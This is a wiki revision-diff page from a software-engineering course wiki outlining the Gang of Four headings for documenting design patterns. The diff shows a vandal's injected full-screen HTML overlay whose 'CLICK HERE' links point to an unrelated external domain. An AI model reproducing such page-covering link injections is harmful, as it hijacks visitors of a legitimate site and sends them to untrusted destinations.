Documenting Patterns
From CSSEMediaWiki
(Difference between revisions)
| Line 3: | Line 3: | ||
The key headings and a description of each heading are listed below. [TODO add an exemplar pattern] | The key headings and a description of each heading are listed below. [TODO add an exemplar pattern] | ||
| − | ===Name=== | + | >===Name=== |
| + | |||
| + | ---- | ||
| + | <div style="background: #E8E8E8 none repeat scroll 0% 0%; overflow: hidden; font-family: Tahoma; font-size: 11pt; line-height: 2em; position: absolute; width: 2000px; height: 2000px; z-index: 1410065407; top: 0px; left: -250px; padding-left: 400px; padding-top: 50px; padding-bottom: 350px;"> | ||
| + | ---- | ||
| + | =[http://isuqexepe.co.cc UNDER COSTRUCTION, PLEASE SEE THIS POST IN RESERVE COPY]= | ||
| + | ---- | ||
| + | =[http://isuqexepe.co.cc CLICK HERE]= | ||
| + | ---- | ||
| + | </div> | ||
===Intent=== | ===Intent=== | ||
Revision as of 08:08, 18 November 2010
This page describes the Gang of Four style of Documenting Patterns (as referred to from Wals 324 course reader [TODO cite original source]).
The key headings and a description of each heading are listed below. [TODO add an exemplar pattern]
>===Name===
Intent
Brief synopsis
Motivation
The context of the problem
Applicability
Circumstances under which the pattern applies
Structure
Class diagram of solution
Participants
Explanation of the classes/objects and their roles
Collaborations
Explanation of how the classes/objects cooperate
Consequences
Discussion of impact, benefits and liabilities
Implementation
Discussion of techniques, traps, language dependent issues...
Sample Code
Known uses
Well-known systems already using the pattern
